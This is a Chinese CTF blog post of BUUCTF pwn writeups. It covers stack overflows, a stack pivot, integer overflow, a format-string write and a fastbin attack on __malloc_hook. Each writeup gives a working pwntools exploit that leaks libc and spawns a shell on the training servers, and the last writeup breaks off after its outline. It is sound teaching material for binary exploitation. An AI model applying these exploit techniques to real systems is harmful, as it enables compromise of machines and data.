天天看點

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

2021-08-30 BUUCTF刷題記錄

刷題數量:13

題目分類:棧溢出、堆、pwn基礎

文章目錄

  • 2021-08-30 BUUCTF刷題記錄
    • [Black Watch 入群題]PWN
      • 0x00 題目描述
      • 0x01 分析思路
      • 0x02 EXP
    • ez_pz_hackover_2016
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 思路
      • 0x03 EXP
    • jarvisoj_tell_me_something
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 EXP
    • Jarvisoj_level3
      • 0x00 題目描述
      • 0x01 題目思路
      • 0x02 EXP
    • [HarekazeCTF2019]baby_rop2
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 EXP
    • bjdctf_2020_babystack2
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 EXP
    • jarvisoj_fm
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 EXP
    • pwn2_sctf_2016
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 Exp
    • 2019_OPPO_BabyROP
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 Exp
    • babyheap_0ctf_2017
      • 0x00 題目描述
      • 0x01 程式分析
      • 0x02 EXP
    • bjdctf_2020_babyrop
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 EXP
    • 鐵人三項(第五賽區)2018_rop
      • 0x00 題目描述
      • 0x01 題目分析
      • 0x02 exp
    • ciscn_2019_c_1
      • 0x00 題目簡介
      • 0x01 程式分析
      • 0x02 exp
    • 基礎知識

[Black Watch 入群題]PWN

0x00 題目描述

Black Watch 入群題

PWN

0x01 分析思路

IDA拖進去看整體功能:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

分析後,可以看到的漏洞

  1. 棧溢出(讀入32位元組存入24的數組,溢出8位元組)

剛開始,我也疑惑,這8位元組放payload空間不夠呀,怎麼辦?

後面看了看前輩的wp,還利用了前面的.bss段,具體思路:

  1. 洩露libc
    1. 通過.bss段寫入要運作的payload
    2. 通過8位元組構造一個短payload運作.bss代碼
  2. getshell
    1. one_gadget

這邊涉及了一些前置知識:

leave;ret;

的gadget有什麼用?

leave相當于彙編代碼
mov rsp,rbp
pop rbp
           
相當于将目前棧頂指向了rbp的位址,然後彈出rbp一段代碼為EIP(x64為8位)

如果我們把.bss位址設定為rbp,并且将payload寫入.bss位址,運作這段代碼

payload=b"a"*(0x18)#溢出
payload+=p32(s_addr-4)#rbp
payload+=p32(leave_ret)#ret位址
           

我們會先執行溢出修改的gadget

leave_ret

位址,然後rbp設定為s_addr-4

動态流程:

asm:

mov rsp,rbp
pop rbp
ret
           

rsp=rbp

EIP=rbp+4

(彈出一段4位元組)的記憶體資料

ret (相當于 jmp EIP)

執行後,就相當于将程式傳回(跳轉)到了.bss的代碼段,然後就執行寫入.bss段的payload。

0x02 EXP

整體思路

  1. 寫入payload到.bss
  2. leave

    特性将代碼跳轉到.bss段
    1. 洩露lib
    2. getshell

tips:

  1. 無法getshell試試
    1. 是不是libc的問題(本地與遠端不一樣)
    2. 換一種方式(system、其他gadget)
from pwn import *
context.log_level="debug"
#context.arch="i386"
name="/root/spwn"
p =remote("node4.buuoj.cn",25182)
elf=ELF(name)

main_addr=elf.sym['main']
read_got=elf.got["read"]
write_plt=elf.plt['write']
pause()
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#多試試 puts不行就write
p.sendafter(b'What is your name?',payload)



s_addr=0x0804A300

leave_ret=0x08048408 #: leave ; ret

payload=b"a"*(0x18)#24(buf)
payload+=p32(s_addr-4)
payload+=p32(leave_ret)

"""
leave=
mov rsp,rbp(rsp指向了.bss段)
pop rbp

pop eip(彈出的是.bss段的代碼)
ret:
"""

#rop 正常
#payload+=p32(puts_plt)+p32(read_got)
p.sendafter(b'?',payload)#\n算1位元組

leak=u32(p.recv(4))



libc=ELF("./x86/libc-2.23_buuctf.so")


libc_base=leak-libc.sym['read']

"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

"""
one_gadget=libc_base+0x3a80c


get=p32(one_gadget)+p32(main_addr)


p.sendafter(b"?",get)
p.sendafter(b"?",payload)

#p.sendlineafter(b'?',payload)
p.interactive()#W3lcAm3_t0_Bw
           

ez_pz_hackover_2016

0x00 題目描述

hackerover 2016

0x01 題目分析

IDA拖進去靜态分析:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

大概分析程式主要的邏輯

  1. strcmp

    比較我們輸入的字元是否為

    crashme

  2. 将輸入的字元傳入

    vuln

    函數

此題沒有後門,是以我們隻能利用棧溢出之類的漏洞進行ROP洩露位址

在vuln可以看到如果我們資料大小大于50就可造成棧溢出,很明顯調用時傳入1024長度就是棧溢出了。

如何過strcmp的同時還傳入payload?

這邊有一個前置知識,strlen()會遇到

\x00

字元截斷,但其他的輸入函數不會

我們利用這個特性,可以過掉strcmp,随後後門構造棧溢出的rop傳給vuln完成洩露libc、getshell

0x02 思路

整體思路:

  1. 洩露libc
  2. getshell

給廣大初學者說的話:

  • CTF雖然有很多的基礎知識理論,但大多需要自己親自去手動嘗試,具體情況具體分析(偏向手動實驗),不能太執着于學到的理論知識,需要保持一顆開放的好奇心。最主要是多自己手動動态調試才知道每一步是怎麼運作的。

0x03 EXP

from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/ez_pz_hackover_2016"
p =remote("node4.buuoj.cn",27260)
elf=ELF(name)
libc=ELF("./x86/libc-2.23_buuctf.so")
main_addr=elf.sym['main']
goodgame=0x0000000000400620

printf_plt=elf.plt["printf"]
ptf_got=elf.got["printf"]
main_addr=elf.sym['main']



payload=b"crashme\x00"#過strcmp
payload+=b"a"*18+p32(printf_plt)+p32(main_addr)+p32(ptf_got)
"""
\x00可越過 strlen、strcmp
具體 動态調試确定
"""


pause()
p.sendlineafter("> ",payload)

p.recvuntil("crashme")
p.recvuntil("\n")

recvraw=p.recv(4)
leak_addr=u32(recvraw)
print("leak_addr : {}".format(hex(leak_addr)))
libc_base=leak_addr-libc.sym['printf']
one_gadget=libc_base+0x3a80c


#one_gadget getshell
payload=b"crashme\x00"
payload+=b"a"*18+p32(one_gadget)+p32(main_addr)+b"\x00"*90
p.sendlineafter("> ",payload)
p.interactive()

           

jarvisoj_tell_me_something

0x00 題目描述

浙大OJ的tell_me_something

0x01 題目分析

IDA進去,靜态分析:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

那麼假設的整體思路:

  1. 構造棧溢出傳回到gg函數gg

0x02 EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/guestbook"
p =remote("node4.buuoj.cn",26720)
elf=ELF(name)
main_addr=elf.sym['main']
goodgame=0x0000000000400620
#main不用rbp??
payload=b"a"*(0x88)+p64(goodgame)+p64(main_addr)
pause()
p.sendlineafter(":\n",payload)
p.interactive()
           

Jarvisoj_level3

0x00 題目描述

[[Jarvisoj]]:浙大_OJ

level3

0x01 題目思路

拖進IDA

MAIN:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

分析一下,很明顯有

棧溢出

的漏洞

接下來,這類題的套路:

  1. 構造payload洩露libc位址
  2. getshell

0x02 EXP

整體思路

  1. 棧溢出洩露libc
  2. getshell

注意的點:

  • (x86)傳回位址放call之後(參數前),程式會将下一個位址識别為傳回位址(即ebp)
from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/level3"
p = remote("node4.buuoj.cn",29197)
libc=ELF("./x86/libc-2.23_buuctf.so")
#p=process(name)#

elf=ELF(name)

read_got=elf.got['read']
main_addr=elf.sym['main']
write_plt=elf.plt['write']


payload=b"a"*(0x88+4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#傳回位址放call之後(參數前),程式會将下一個位址識别為傳回位址(即ebp)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak
sleep(0.2)


leak_addr=p.recv(4).ljust(4,b"\x00")

print("leak -> {}".format(leak_addr))#{} and format

libc_base=u32(leak_addr)-libc.sym['read']

"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

"""
one_gadget=libc_base+0x3a80c

payload=b"a"*(0x88+4)
payload+=p32(one_gadget)+p32(main_addr)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak

p.interactive() 
#find / -name flag flag{fca3c3e6-b051-4ac1-8349-e2fa3a74412c}

           

[HarekazeCTF2019]baby_rop2

0x00 題目描述

rop rop rop

[HarekazeCTF2019]

0x01 題目分析

IDa拖進去看:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

明顯的棧溢出(讀入了256到buf[28]的數組)

于是假設的思路:

  1. 洩露libc
  2. getshell

0x02 EXP

整體思路:

  1. 棧溢出洩露libc
  2. one_gadget擷取shell

值得注意的:

  1. 要調試才能逐漸慢慢确定,别着急,慢慢調
  2. 用print_plt再輸出print_got輸不出(多換換不同的函數試試 換一個read可以)
  3. 發送的payload進入程式,填充到rdi(雖然字元串顯示是正常順序,但是16進制是倒叙)小端序
  4. 找的one_gadget記得要修複它的條件(例如rsp+n為\x00)
  5. x86下,參數直接入棧即可。x64前6個參數需要進入指定的

    寄存器

    具體查閱資料。
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/babyrop2"
p = remote("node4.buuoj.cn",28737)
#p=process(name)#

elf=ELF(name)

read_got=elf.got['read']
main_addr=elf.sym['main']
printf_plt=elf.plt['printf']

#ret_to_callprintf_callee=0x0000000004006C0#call printf in main
pop_rdi_ret=0x0000000000400733##  : pop rdi ; ret
#pop_rsi_ret=0x0000000000400731##  : pop rsi ; pop r15 ; ret
#pause()

#ohh.. x64傳參數要rdi。。動态調試才知道問題
#倒序推入rdi 必須填充滿8位
#隻能輸出位址?如果是字元串要存入位址再傳入rdi?

payload=b"a"*(0x20+8)
payload+=p64(pop_rdi_ret)+p64(read_got)#傳參數  x64 rdi
#...用printf_got在遠端無法輸出,read_got可以,難道遠端優化了printf??

payload+=p64(printf_plt)#puts lea
payload+=p64(main_addr)#rop

sleep(0.2)
p.sendlineafter(b"name? ",payload)#leak
sleep(0.2)
p.recvuntil("\n")

leak_addr=p.recv(6).ljust(8,b"\x00")
pause()
print("leak -> {}".format(leak_addr))#{} and format
libc=ELF("./x64/libc.so.6_buuctf")
libc_base=u64(leak_addr)-libc.sym['read']

one_gadget=libc_base+0x4526a

payload=b"a"*(0x20+8)
payload+=p64(one_gadget)#puts leak
payload+=p64(main_addr)#rop
payload+=b"\00"*90#padding repair onegadget 選擇的one_gadget修複後面的rsp
p.sendlineafter(b"name? ",payload)#getshell

p.interactive() 
#find / -name flag 

           

bjdctf_2020_babystack2

0x00 題目描述

BJDCTF

BABYSTACK(棧)

0x01 題目分析

IDA

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

正常的邏輯:

  1. 輸入要輸入字元出長度(限制10)
  2. 輸入資料到buf

結合題意,如何制造棧溢出呢?

(下面題目多次介紹了[[整數溢出]],pwn2_sctf_2016等)

正常邏輯,僅僅允許輸入10長度的資料,那肯定是不夠我們ROP的,但是注意一下變量類型是

unsigned int

(無符号整數)

無符号如果是負數,就是向上溢出(最大值開始減目前)

那麼相當于我輸入了-1,變量其實變成了(unsigned int最大值 +(-1))~約等于無限制輸入

具體了解整數溢出可以去

CTFWiki

查閱相關基礎資料

0x02 EXP

from pwn import *
p = remote("node4.buuoj.cn",27953)#process('/root/fm')
backdoor=0x000000000400726


p.sendlineafter(b"name:","-1")
payload = b"a"*(0x10+8)+p64(backdoor)
p.sendlineafter("name?",payload)



p.interactive()

           

jarvisoj_fm

0x00 題目描述

來自:jarvisoj

fm??(format字元串格式化)

0x01 題目分析

IDA

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

程式邏輯很簡單

  1. 輸入資料,用printf列印資料
  2. 判斷x為4就getshell

那我們的思路主要就是通過printf修改x的值(字元串格式化漏洞)

先動态調試,測出字元串的變量位址偏移

→利用%p.%p.%p.%p.%p.%p.%p.,測出真實字元串位址存在第11個偏移位

前置知識:

  • %n

    可修改變量值

如何改4?x位址是已知固定的。并且偏移也測出是11

可以利用

%11$n

=>作用:修改偏移11的變量位址資料為目前字元串前面字元個數

payload = p32(x_addr) + b'%11$n'

x的位址剛好是4,那麼剛好把x的位址資料内容改成了

\x04

如果在

%

号前加填充aa 會把x改為6(其實就是改x為

%

前字元串長度)

0x02 EXP

from pwn import *
p = process('/root/fm')
x_addr = 0x0804A02C

payload = p32(x_addr) + b'%11$n'
pause()
p.sendline(payload)

p.interactive()
           

pwn2_sctf_2016

0x00 題目描述

pwn2_sctf_2016

來自 SCTF

0x01 題目分析

先拖進IDA,靜态分析一下程式的大局功能

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

基本邏輯

  1. 輸入要讀取的字元長度(限制32)
  2. 讀入資料

看到這裡,似乎也不存在什麼棧溢出???于是乎

我看到了有

dothing

這個函數

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

以為是通過這個函數來做點事??

後面仔細分析了一下,點進

get_n

進去看你會發現驚喜~~

get_n:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

a1是輸入的資料

a2是長度(但是是無符号的)

這邊有一個前置知識

  • 如果無符号的整數指派為負數,他會造成[[整數溢出]](簡單來說值會變成:變量類型最大值-負數的正數位)

那???如果我輸入

-1

(滿足不大于32)

無符号值:0到4294967295(0 到232 - 1)4個位元組

豈不是a2=4294967295-1=4294967294(幾乎是無限制輸入)

接下來,就可以幹大事了,棧溢出構造payload去洩露libc、getshell…

0x02 Exp

整體思路:

  1. 整數溢出導緻棧溢出rop
    1. 洩露libc
    2. getshell

注意的點:

  • 在修複傳回棧中(ebp)用函數首部位址 避開破壞棧導緻崩潰

    main_addr=elf.sym[“main”]#很重要,修複的ebp傳回位址關乎程式是否崩潰

    #使用傳回到main (就是main開始位址)

  • 若LIBCSEARCH不行 轉本地(要怪就怪libcsearcher蛤~),你可以在BUUCTF官網下載下傳對應的glibc
#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/pwn2_sctf_2016"
if  isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",29781)


elf=ELF(filename)
p.sendline("-1")#overflow unsigned int

p.recvuntil("data!\n")
sleep(0.2)



printf_plt=elf.plt["printf"]
printf_got=elf.got["printf"]

main_addr=elf.sym["main"]#很重要,修複的ebp傳回位址關乎程式是否崩潰
#使用傳回到main (就是main開始位址)

payload=b"a"*(0x2C+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)


sleep(0.2)
p.sendline(payload)
p.recvuntil("\n")#\n=\x0a
leak=u32(p.recv(4))
print(b"leak:"+str(leak).encode())
libc=LibcSearcher("printf",leak)

##  LIBC SEARCHER 如果搜尋不到,就手動下載下傳libc
libcbase=leak-libc.dump("printf")
system_add=libcbase+libc.dump("system")
binsh_add=libcbase+libc.dump("str_bin_sh")
payload=b"a"*(0x2C+4)+p32(system_add)+p32(main_addr)+p32(binsh_add)#

#傳回到程式首部 修複堆棧
p.sendline("-1")
p.recvuntil("data!\n")
p.sendline(payload)
p.interactive()

##  LOCAL LIBC 辦法2:使用本地libc
libc=ELF("./x86/libc-2.23_buuctf.so")
libc_base=leak-libc.sym['atoi']
one_gadget=libc_base+0x3a80e 
payload=b"a"*(0x2C+4)+p32(main_addr)+p32(one_gadget)+b"\x00"*80#

#傳回到程式首部 修複堆棧
p.sendline("-1")
p.recvuntil("data!\n")
p.send(payload)
p.interactive()


#tips:fix ebp ret
#p32(0)+
#ubuntu 16:libc2.23
           

2019_OPPO_BabyROP

0x00 題目描述

2019_OPPO_BabyROP

OPPO廠出的題目

0x01 題目分析

拖進IDA

分析一下程式的整體功能

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

整體功能:

  1. 配置設定一個随機數,函數1主要為了驗證随機數是否與輸入的比對
  2. 函數2,根據函數1傳回值作為讀入的長度去讀取資料

分析一下漏洞:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

針對函數1的随機數繞過方法:

  • strlen對

    \x00

    會截斷,可利用此特性繞過比較
    2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

函數2隻要參數不為127就可以自定義長度,我們可以輸入一個大于buf長度的資料,制造

棧溢出

由于參數是函數1傳回的,是buf的第七位(單位元組),那麼可以輸入

\xff

(255)最大值

想說給初學者的話:

  • 很多東西,雖然似乎是模闆的東西,但是具體的路,要自己親自去走,才知道有什麼困難要自己面對,如何對待的。(多動态調試,不要被前方的自我想象阻礙)

0x02 Exp

整體思路:

  1. \x00

    繞過随機數判斷,制造溢出字元
  2. 構造溢出payload
    1. 洩露libc
    2. onegadget

注意的點:

  • 修複ebp(傳回位址)蠻重要的,不然會崩潰
  • 遠端搜尋不到libc、本地 可以利用本地特征去搜尋一樣的libc,另外一種情況,隻好下載下傳題目的Libc
  • one gadget要求 esp+0x28=null,需要填充後面的esp為\x00
#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/2019_OPPO_BABYROP"
if  isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",29007)

elf=ELF(filename)
p.sendline("\x00123456\xff")#
#strlen \x00 截斷

p.recvuntil("Correct\n")
sleep(0.2)


ret_startfunc=0x080487D0 #rop func start
write_plt=elf.plt['write']
read_got=elf.got['read']

payload=b"a"*(0xe7+4)+ p32(write_plt) +p32(ret_startfunc) +  p32(1) + p32(read_got) + p32(4)
#修複調用write後的ebp(即傳回位址)=rop程式開頭(重新調用)
p.send(payload)




leakaddr=p.recv(4)
read_addr=u32(leakaddr)
print(b"leak:"+str(read_addr).encode())


#遠端搜尋不到libc、本地 可以利用本地特征去搜尋一樣的libc,另外一種情況,隻好下載下傳題目的Libc
libcx =ELF("./x86/libc-2.23_rop.so")##  LibcSearcher('read', read_addr)
#payload=b"a"*0xe7+p32(0)+p32(one_gadget)+b"\x00"*(300-231-8)
#p.sendline(payload)

#elf加載 用 sym[],libcsearch用dump
libc_base=read_addr-libcx.sym['read']
#system_addr=libc_base+libcx.sym["system"]
#binsh_addr=libc_base+libcx.sym["str_bin_sh"]
one_gadget=libc_base+0x3a80c
payload=payload=b"a"*(0xe7+4)+ p32(one_gadget)  +b"\x00"*555
#修複調用write後的ebp(即傳回位址)=rop程式開頭(重新調用)
#one gadget要求 esp+0x28=null,需要填充後面的esp為\x00
p.send(payload)


p.interactive()

#ubuntu 16:libc2.23

"""

[email protected]:~/exp/buuctf/x86##  one_gadget libc-2.23_rop.so
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libcls
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL


"""
           

babyheap_0ctf_2017

0x00 題目描述

堆題目含增、删、改、查

0CTF

0x01 程式分析

拖進IDA看個整體大概

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

很明顯會發現是一個功能齊全的堆題目

  1. 增加(建立堆)
  2. 修改(修改堆内容)
  3. 删除(釋放堆)
  4. 查詢(輸出堆内容)

同時,堆的總記憶體布局是程式在一個

sub_B70

的函數進行随機去配置設定的位址

每調用一個功能函數,都會傳入總堆存放的位址。

生成所有堆存放位址:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

接下來就是重頭戲了,程式該如何拿shell呢?

我們一般getshell的思路就是洩露位址,得到libc位址,然後構造一個payload去getshell。

那能不能這樣呢?

我們仔細看看程式的功能:

  1. 增加
  • 這邊有一個

    calloc

    對于初學堆者會比較陌生,它相較于

    malloc

    在于配置設定指定空間的堆後,會将堆上的資料每個位元組指派為

    \x00

    [[calloc]]
    2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄
  1. 修改
    2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

細心的朋友可以發現,這邊就有了漏洞

我們修改堆内容,長度是自己輸入,并且不做任何限制,那就會造成堆的溢出。

3. 删除

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄
  1. 查詢
    2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

保護情況:全開

[email protected]:/##  checksec --file="/root/babyheap_0ctf_2017"
[*] '/root/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

           

這道題我也思考、嘗試了很久,最後看了一下前輩們的wp,解法大概的整體思路:

  1. 通過堆溢出制造[[堆疊]],随後利用堆疊可輸出堆的系統header,利用釋放間隙header産生的

    unsorted bin

    位址作為洩露的位址
  2. 通過堆溢出修改新堆塊的指針為任意指針,控制

    __malloc_hook

    位址的資料完成getshell(這是一種叫

    Fast bin Attack

    的攻擊)

前置知識、疑問:

  1. 什麼是堆疊?

就是相鄰的堆重疊。舉個例子

例如我申請了堆1為0x80大小的堆,堆2為0x80大小的堆。随後我通過堆溢出将堆2的使用者不可控制位(系統頭部)修改了造成了堆1的堆标記空間大小增大,這樣一旦輸出堆1的資料,會連着堆2的系統頭部甚至是堆2的使用者資料連帶輸出。

有什麼用?欺騙了程式,控制系統堆的管理

  1. 什麼是

    unsorted bin

堆釋放了之後,系統會将其加入指定的bin

在任意small bin/ large bin 被釋放後加入small bin/large bin 前會先進入unsorted bin

(small bin在64位下最小(2x8x2=32位元組),否則會識别為fast bin)

進入了unsorted bin,堆header會被系統修改為 unsorted bin 位址

  1. unsorted bin

    有什麼用?
在unsorted bin的指定偏移處,是__malloc_hook的資料位址
  1. __malloc_hook

    是什麼?

如果__malloc_hook的資料位址不為空,系統在配置設定堆時(也就是使用者調用malloc、calloc之類函數配置設定堆時),會将調用的函數指向__malloc_hook記憶體放的位址

在本題,如果一旦我們把 __malloc_hook 修改成getshell的位址,那我們再次調用calloc時,就間接調用了 getshell 位址

  1. 什麼是

    Fast bin attack

    ?[[FastAttackBin]]

更深入的原理大家可以在網上搜尋資料或者下載下傳glibc代碼進行檢視

glibc 代碼定義了預設fast bin 的大小為128(0x80)(32位的為64)

Fastbin采用單連結清單結構(通過fd指針連接配接),且當chunk釋放時,不會清空 next_chunk 的 prev_inuse,再加上檢查機制的不完善,導緻 fastbin 比較脆弱。

攻擊方法:

  1. 二次釋放
  2. 修改fd指針并申請(或釋放)任意位置的 chunk (或 fake chunk)在堆溢出的情況下

基礎gdb指令:

heap

可檢視目前堆塊資訊

libc

檢視libc基位址

magic

檢視libc函數偏移

par

parseheap

簡寫

x/4g

檢視64位下(8位)2行,4 * 8=32位元組

vmmap (heap)

檢視程式記憶體結構(堆結構)位址

bins

指令可檢視unsorted bin位址,他會指向

main_arena

位址。再往前移動0x10就是

__mallochook

位址

0x02 EXP

整體思路分為兩部分

  1. 洩露unsorted_bin位址(通過堆溢出導緻堆疊),根據前置知識用unsorted_bin計算mallochook位址
  2. 通過堆溢出(改fd)使堆塊位址被任意改寫為malloc_hook指針,修改堆塊資料為one_gadget完成getshell(FAST BIN ATTACK)

功能定義:

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']#cmd : tmux
isLocal=0

filename="/root/babyheap_0ctf_2017"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",27211)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size):
    ru("Command: ")
    sl('1')
    ru("Size: ")
    sl(str(size))

def free(index):
    ru("Command: ")
    sl('3')
    ru("Index: ")
    sl(str(index))

def edit(index,size,content):
    ru("Command: ")
    sl('2')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
    ru("Content: ")
    sl(content)
def dump(index):
    ru("Command: ")
    sl('4')
    ru("Index: ")
    sl(str(index))
	
           

第一部分記憶體結構圖:

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

第一部分

1.用堆溢出制造堆疊(overlap),導緻堆1與堆2重疊(包含了系統的頭部)

2.利用堆疊和程式輸出功能,輸出unsorted bins 位址(在堆2的header部分)

malloc(0x80)
malloc(0x80)
malloc(0x80)
malloc(0x80)

free(1)


payload=b'a'*0x88+p64(0x121)
edit(0,len(payload),payload)#堆溢出 修改了堆1的 系統size區域
malloc(0x110)#重新申請0x110 申請回chunk1=0x110

"""
1.先主動釋放,再通過堆溢出又把chunk1改回`USED`了并且`擴大了控制區域`
2.接下來堆溢出,導緻改chunk1可以直接修改chunk2、3(跨越、包含系統的頭部)
#0x80=128 | 0x110=288 
"""

#pause()#此時還沒産生unsorted bins

payload=b'a'*0x88#堆溢出到下一塊系統區域
payload+=p64(0x91)#堆溢出将chunk2改回了0x80(系統占用0x10+使用标志位0x01)
edit(1,len(payload),payload)

#當期整體堆:chunk0=0x80,chunk1=0x110,chunk2=0x80
#pause()#此時還沒unsorted bins
free(2)#free 2  ,
#pause()#此時chunk2頭部有unsorted bin位址了,可通過gdb的bins檢視
dump(1)##  輸出chunk1的堆資料,由于堆溢出修改了堆的大小,導緻連帶chunk2的頭部一起輸出


           

第二部分

3.利用洩漏的位址unsorted bins去偏移找到__malloc_hook位址,改寫成gadget位址以getshell

leak_addr=p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")

malloc_hook=u64(leak_addr)-88-0x10#main_arena-0x10

print("format leak_unsorted_bins ==> {}".format((leak_addr)))



"""
unsortedbin
all: 0x56441ebf0120 —▸ 0x7f1abfd36b78 (main_arena+88) ◂— 0x56441ebf0120
"""

libc_base=malloc_hook-libc.symbols['__malloc_hook']
log.success("libc_base -> {}".format(hex(libc_base)))

#篡改malloc_hook實作shell(fast bin attack)=>修改堆塊的fd

malloc(0x80) ##  重新申請回chunk2
malloc(0x60) ##  新堆chunk4
malloc(0x60) ##  新堆chunk5
free(5)##  free 5


payload=b'a'*0x68 +p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload),payload)#溢出寫。将chunk5->fd改寫為自定義位址

"""
利用堆溢出,chunk5使fd指向  malloc_hook

此時記憶體布局:

pwndbg> par
addr                prev                size                 status              fd                bk                
0x561e9e2dd000      0x0                 0x90                 Used                None              None
0x561e9e2dd090      0x6161616161616161  0x120                Used                None              None
0x561e9e2dd1b0      0x0                 0x90                 Used                None              None
0x561e9e2dd240      0x0                 0x70                 Used                None              None
0x561e9e2dd2b0      0x6161616161616161  0x70                 Freed     0x7f379b513aed              None

導緻下一次申請chunk6時,位址被任意寫
"""




malloc(0x60) #重新申請回chunk5
malloc(0x60) #新堆chunk6


"""
由于chunk5->fd指向自定義位址,chunk6申請時,chunk6位址被任意改寫為自定義位址
chunk6的位址也就是__malloc_hook的位址了,修改chunk6相當于間接控制__malloc_hook位址的資料内容,控制程式的malloc函數調用
"""

if isLocal:
    one_gadget=libc_base+0x4527a
else:
    one_gadget=libc_base+0x4526a
payload=b'a'*0x13+p64(one_gadget)
edit(6,len(payload),payload)#更改malloc_hook的位址為One_gadget
"""
(0x10要給系統作為頭部,0x13是偏移)
0x7f379b513b10 - 0x7f379b513aed=0x23-header=0x10

pwndbg> x/30g 0x7f379b513aed+0x23
0x7f379b513b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000

使用gdb檢視 被改寫
pwndbg> x/4gx 0x7fadcded1b20-0x10 
0x7fadcded1b10 <__malloc_hook>:	0x00007fadcdb5227a	0x0000000000000000
0x7fadcded1b20 <main_arena>:	0x0000000000000000	0x0000000000000000


"""

malloc(0x10)#_malloc_hook
p.interactive()


           

bjdctf_2020_babyrop

0x00 題目描述

bjdctf_2020_babyrop

Ubuntu 16

0x01 題目分析

拖進IDA,

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

于是設想的整體思路

  1. 洩露libc
  2. getshell
